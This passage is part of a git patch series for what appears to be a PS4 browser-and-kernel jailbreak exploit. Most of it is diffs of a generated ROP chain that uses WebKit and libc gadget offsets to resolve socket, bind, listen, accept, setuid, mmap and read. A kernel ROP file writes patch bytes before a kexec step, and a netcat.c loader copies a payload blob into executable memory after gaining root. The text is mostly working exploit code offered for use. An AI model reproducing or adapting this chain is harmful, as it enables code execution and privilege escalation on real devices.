webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L3416: +//L3427: +db([4294967232, 4294967295]); // -0x40 +set_gadget(libc_base+792472,); //pop rcx +//L3428: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L3417: -db([4294967240, 4294967295]); // -0x38 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+209048, //L3419 +ropchain+209688, //L3429 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+209064, //L3420 +ropchain+209704, //L3431 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L3419: +//L3429: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3420: +//L3431: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+209216, //L3422 +ropchain+209856, //L3432 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+209248, //L3425 +ropchain+209888, //L3435 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+209232, //L3423 +ropchain+209840, //L3433 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+209200, //L3424 +ropchain+209872, //L3434 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3424: +//L3433: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3422: +//L3432: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3423: +//L3434: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3425: +//L3435: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+209368, //L3427 +ropchain+210008, //L3437 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+209384, //L3428 +ropchain+210024, //L3438 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+209352, //L3426 +ropchain+209992, //L3436 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3426: +//L3436: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3427: +//L3437: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3428: +//L3438: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -24396,70 +24497,70 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+209536, //L3429 +ropchain+210176, //L3440 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+209552, //L3431 +ropchain+210192, //L3441 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+209520, //L3430 +ropchain+210160, //L3439 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3430: +//L3439: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3429: +//L3440: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3431: +//L3441: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+209656, //L3433 +ropchain+210296, //L3444 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+209640, //L3432 +ropchain+210312, //L3445 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+206806 //pop rdi +libc_base+793877 //pop rsi ]); -//L3432: -db([0, 0]); // 0x0 +//L3442: +db([4294967236, 4294967295]); // -0x3c set_gadget(libc_base+792472,); //pop rcx -//L3433: +//L3444: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L3445: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L3434: -db([4294967244, 4294967295]); // -0x34 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+209736, //L3438 +ropchain+210376, //L3448 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3438: +//L3448: db([0, 0]); // 0x0 set_gadgets([ libc_base+811575, //pop rsp -ropchain+209776, //L3436 -//L3296: +ropchain+210416, //L3446 +//L3306: libc_base+811575, //pop rsp -ropchain+209792, //L3371 -//L3436: +ropchain+210432, //L3381 +//L3446: libc_base+811575, //pop rsp -ropchain+203784, //L3281 -//L3371: -//L3160: +ropchain+204424, //L3291 +//L3381: +//L3170: libc_base+788575 //pop rax ]); -//L3439: +//L3449: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -24467,8 +24568,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L3440: -ropchain+172008, //_sender_thread +//L3450: +ropchain+171608, //_sender_thread libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -24477,7 +24578,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L3441: +//L3451: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -24486,14 +24587,14 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+209992, //L3443 +ropchain+210632, //L3453 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L3442: -db([4294965192, 4294967295]); // -0x838 +//L3452: +db([4294965184, 4294967295]); // -0x840 set_gadget(libc_base+788575,); //pop rax -//L3443: +//L3453: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi @@ -24504,8 +24605,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L3445: -ropchain+210104, //L3444 +//L3455: +ropchain+210744, //L3454 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -24514,7 +24615,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp ropchain+147688, //_pthread_create__rop -//L3444: +//L3454: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -24522,55 +24623,55 @@ db([4294967264, 4294967295]); // -0x20 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+210176, //L3446 +ropchain+210832, //L3458 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L3446: +//L3457: +db([4294967280, 4294967295]); // -0x10 +set_gadget(libc_base+792472,); //pop rcx +//L3458: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L3447: -db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+210280, //L3449 +ropchain+210920, //L3459 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+210296, //L3450 +ropchain+210936, //L3461 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L3449: +//L3459: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3450: +//L3461: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+210440, //L3454 +ropchain+211080, //L3464 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+210408, //L3452 +ropchain+211048, //L3462 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+210424, //L3453 +ropchain+211064, //L3463 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3452: +//L3462: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3453: +//L3463: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3454: +//L3464: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -24578,8 +24679,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L3456: -ropchain+210544, //L3455 +//L3466: +ropchain+211184, //L3465 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -24587,8 +24688,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+213984, //L3457 -//L3455: +ropchain+215952, //L3467 +//L3465: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -24597,39 +24698,39 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+210616, //L3460 +ropchain+211256, //L3469 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3460: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L3458: +//L3469: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3459: +//L3468: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L3470: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+210768, //L3462 +ropchain+211392, //L3471 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+210784, //L3463 +ropchain+211424, //L3473 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+210752, //L3461 +ropchain+211408, //L3472 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+792472 //pop rcx ]); -//L3461: +//L3471: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L3462: +set_gadget(libc_base+206806,); //pop rdi +//L3472: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3463: +//L3473: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -24639,17 +24740,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+210880, //L3464 +ropchain+211520, //L3474 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+210896, //L3465 +ropchain+211536, //L3475 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L3464: +//L3474: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3465: +//L3475: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -24659,32 +24760,32 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+211008, //L3466 +ropchain+211648, //L3476 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+210992, //L3467 +ropchain+211632, //L3477 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L3467: +//L3477: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L3466: +//L3476: db([0, 0]); // 0x0 set_gadgets([ libc_base+793877, //pop rsi -ropchain+211096, //L3469 +ropchain+211736, //L3479 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+211080, //L3468 +ropchain+211720, //L3478 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3468: +//L3478: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3469: +//L3479: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -24694,17 +24795,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+211192, //L3470 +ropchain+211832, //L3480 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+211208, //L3471 +ropchain+211848, //L3481 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L3470: +//L3480: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3471: +//L3481: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -24714,19 +24815,19 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+211320, //L3472 +ropchain+211960, //L3482 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+211304, //L3473 +ropchain+211944, //L3483 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L3473: +//L3483: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L3472: +//L3482: db([0, 0]); // 0x0 -//L2924: +//L3349: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -24902,7 +25003,7 @@ db([4294967280, 4294967295]); // -0x10 set_gadgets([ webkit_base+5202439, //and rax, rcx libc_base+792472, //pop rcx -setuid_addr, +read_addr, webkit_base+2997875, //mov [rax], rcx libc_base+793877 //pop rsi ]); @@ -24942,13 +25043,13 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+212648, //L3474 +ropchain+213288, //L3484 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L3474: +//L3484: db([0, 0]); // 0x0 -//L2975: +//L2911: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -25124,7 +25225,7 @@ db([4294967280, 4294967295]); // -0x10 set_gadgets([ webkit_base+5202439, //and rax, rcx libc_base+792472, //pop rcx -mmap_addr, +setuid_addr, webkit_base+2997875, //mov [rax], rcx libc_base+793877 //pop rsi ]); @@ -25164,13 +25265,13 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+213976, //L3475 +ropchain+214616, //L3485 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L3475: +//L3485: db([0, 0]); // 0x0 -//L3457: +//L3251: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -25264,19 +25365,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -db([4294967272, 4294967295]); // -0x18 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+191168, //mov rax, [rdi] -libc_base+793877 //pop rsi -]); -db([216, 0]); // 0xd8 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+793877 //pop rsi -]); -db([4294967072, 4294967295]); // -0xe0 +db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+191168, //mov rax, [rdi] @@ -25336,31 +25425,33 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -db([4294967272, 4294967295]); // -0x18 +db([4294967112, 4294967295]); // -0xb8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+50775, //mov rax, rdi -libc_base+792472 //pop rcx +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi ]); -db([4294967280, 4294967295]); // -0x10 +db([168, 0]); // 0xa8 set_gadgets([ -webkit_base+5202439, //and rax, rcx +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -db([4294967216, 4294967295]); // -0x50 +db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+547950, //mov rcx, [rdi + 0x18] ; lea rax, [rax + rcx - 1] -libc_base+877175, //sub rax, rcx ; sbb rdx, rcx -libc_base+793877 //pop rsi +libc_base+50775, //mov rax, rdi +libc_base+792472 //pop rcx ]); -db([1, 0]); // 0x1 +db([4294967280, 4294967295]); // -0x10 set_gadgets([ -libc_base+547636, //add rax, rsi +webkit_base+5202439, //and rax, rcx +libc_base+792472, //pop rcx +listen_addr, webkit_base+2997875, //mov [rax], rcx libc_base+793877 //pop rsi ]); -db([4294967272, 4294967295]); // -0x18 +db([4294967192, 4294967295]); // -0x68 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi @@ -25396,13 +25487,13 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+215352, //L3476 +ropchain+215944, //L3486 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L3476: +//L3486: db([0, 0]); // 0x0 -//L3225: +//L3467: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -25496,73 +25587,73 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -db([4294967280, 4294967295]); // -0x10 +db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -db([208, 0]); // 0xd0 +db([216, 0]); // 0xd8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -db([4294967080, 4294967295]); // -0xd8 +db([4294967072, 4294967295]); // -0xe0 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -db([200, 0]); // 0xc8 +db([208, 0]); // 0xd0 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -db([4294967088, 4294967295]); // -0xd0 +db([4294967080, 4294967295]); // -0xd8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -db([192, 0]); // 0xc0 +db([200, 0]); // 0xc8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -db([4294967096, 4294967295]); // -0xc8 +db([4294967088, 4294967295]); // -0xd0 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -db([184, 0]); // 0xb8 +db([192, 0]); // 0xc0 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -db([4294967104, 4294967295]); // -0xc0 +db([4294967096, 4294967295]); // -0xc8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -db([176, 0]); // 0xb0 +db([184, 0]); // 0xb8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -db([4294967112, 4294967295]); // -0xb8 +db([4294967104, 4294967295]); // -0xc0 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -db([168, 0]); // 0xa8 +db([176, 0]); // 0xb0 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax @@ -25577,12 +25668,22 @@ libc_base+792472 //pop rcx db([4294967280, 4294967295]); // -0x10 set_gadgets([ webkit_base+5202439, //and rax, rcx -libc_base+792472, //pop rcx -bind_addr, +libc_base+793877 //pop rsi +]); +db([4294967216, 4294967295]); // -0x50 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+547950, //mov rcx, [rdi + 0x18] ; lea rax, [rax + rcx - 1] +libc_base+877175, //sub rax, rcx ; sbb rdx, rcx +libc_base+793877 //pop rsi +]); +db([1, 0]); // 0x1 +set_gadgets([ +libc_base+547636, //add rax, rsi webkit_base+2997875, //mov [rax], rcx libc_base+793877 //pop rsi ]); -db([4294967192, 4294967295]); // -0x68 +db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi @@ -25618,13 +25719,13 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+216680, //L3477 +ropchain+217320, //L3487 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L3477: +//L3487: db([0, 0]); // 0x0 -//L3339: +//L2971: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -25800,7 +25901,7 @@ db([4294967280, 4294967295]); // -0x10 set_gadgets([ webkit_base+5202439, //and rax, rcx libc_base+792472, //pop rcx -read_addr, +mmap_addr, webkit_base+2997875, //mov [rax], rcx libc_base+793877 //pop rsi ]); @@ -25840,13 +25941,13 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+218008, //L3478 +ropchain+218648, //L3488 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L3478: +//L3488: db([0, 0]); // 0x0 -//L3258: +//L3235: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -26022,7 +26123,7 @@ db([4294967280, 4294967295]); // -0x10 set_gadgets([ webkit_base+5202439, //and rax, rcx libc_base+792472, //pop rcx -accept_addr, +bind_addr, webkit_base+2997875, //mov [rax], rcx libc_base+793877 //pop rsi ]); @@ -26062,13 +26163,13 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+219336, //L3479 +ropchain+219976, //L3489 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L3479: +//L3489: db([0, 0]); // 0x0 -//L3241: +//L3177: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -26244,7 +26345,7 @@ db([4294967280, 4294967295]); // -0x10 set_gadgets([ webkit_base+5202439, //and rax, rcx libc_base+792472, //pop rcx -listen_addr, +socket_addr, webkit_base+2997875, //mov [rax], rcx libc_base+793877 //pop rsi ]); @@ -26284,13 +26385,13 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+220664, //L3480 +ropchain+221304, //L3490 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L3480: +//L3490: db([0, 0]); // 0x0 -//L3167: +//L3268: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -26466,7 +26567,7 @@ db([4294967280, 4294967295]); // -0x10 set_gadgets([ webkit_base+5202439, //and rax, rcx libc_base+792472, //pop rcx -socket_addr, +accept_addr, webkit_base+2997875, //mov [rax], rcx libc_base+793877 //pop rsi ]); @@ -26506,13 +26607,15 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+221992, //L3481 +ropchain+222632, //L3491 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L3481: +//L3491: db([0, 0]); // 0x0 -//L2632: +//L2090: +db([312, 0]); +//L2615: db([2, 0, 0, 0, 0, 0]); pivot(ropchain); var main_ret = read_ptr_at(main_ret); diff --git a/src/krop.rop b/src/krop.rop index 718d600..774b153 100644 --- a/src/krop.rop +++ b/src/krop.rop @@ -233,6 +233,7 @@ pop rax dq 0x01ebc031 # xor eax, eax ; jmp start+5 mov [rdi], eax + # veri NOT fired pop rsi dq 0x10bed0-0x63c8ce @@ -241,9 +242,23 @@ pop rax dq 0x9090 mov [rdi], ax +pop rsi +dq 0x63c8ce-0x1d895a +sub rdi, rsi ; mov rdx, rdi +pop rax +dq 0x01c7e9 +mov [rdi], rax + +pop rsi +dq 0x1d895a-0x0041a2d0 +sub rdi, rsi ; mov rdx, rdi +pop rax +dq 0xc3c031 +mov [rdi], rax + # kexec (syscall #11) pop rsi -dq 0x63c8ce-0x111e210 +dq 0x0041a2d0-0x111e210 sub rdi, rsi ; mov rdx, rdi pop rax dq 2 diff --git a/src/netcat.c b/src/netcat.c index 386a3d5..91a1250 100644 --- a/src/netcat.c +++ b/src/netcat.c @@ -37,13 +37,14 @@ void* sender_thread(void* _) int main() { + int mira_blob_len = __builtin_gadget_addr("$(window.mira_blob_len||0)"); if(setuid(0)) return 1; //jailbreak failed or not run yet - char* mapping = mmap(NULL, 131072, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); + char* mapping = mmap(NULL, mira_blob_len, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); char* mira_blob = __builtin_gadget_addr("$(window.mira_blob||0)"); - if(mira_blob) + if(mira_blob_len) { - for(int i = 0; i < 131072; i++) + for(int i = 0; i < mira_blob_len; i++) mapping[i] = mira_blob[i]; } else From 3bccbf55e17ef05e0495438cf93cd79c52c244a0 Mon Sep 17 00:00:00 2001 From: Your Name Date: Fri, 14 Jan 2022 08:58:09 +0800 Subject: [PATCH 2/2] fix Cache File --- Cache.manifest | 6 ++++-- index.html | 2 +- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/Cache.manifest b/Cache.manifest index bdcaa29..2d5b8f8 100644 --- a/Cache.manifest +++ b/Cache.manifest @@ -1,5 +1,5 @@ CACHE MANIFEST -# random: ee9328bd806628e0c1c25c2904b2b549 +# random: c8044f88a55b2cc91fb39da3075099e5 CACHE: index.html @@ -9,9 +9,11 @@ common/helpers.js common/malloc.js common/rop.js common/syscalls.js -common/syscalls2.jsfakeusb.js +common/syscalls2.js +fakeusb.js jb.js netcat.js +ghen2b2.js mira/mira.js mira/mira2.js ps4-hen-vtx.js diff --git a/index.html b/index.html index db6445e..9f11914 100644 --- a/index.html +++ b/index.html @@ -1,4 +1,4 @@ - +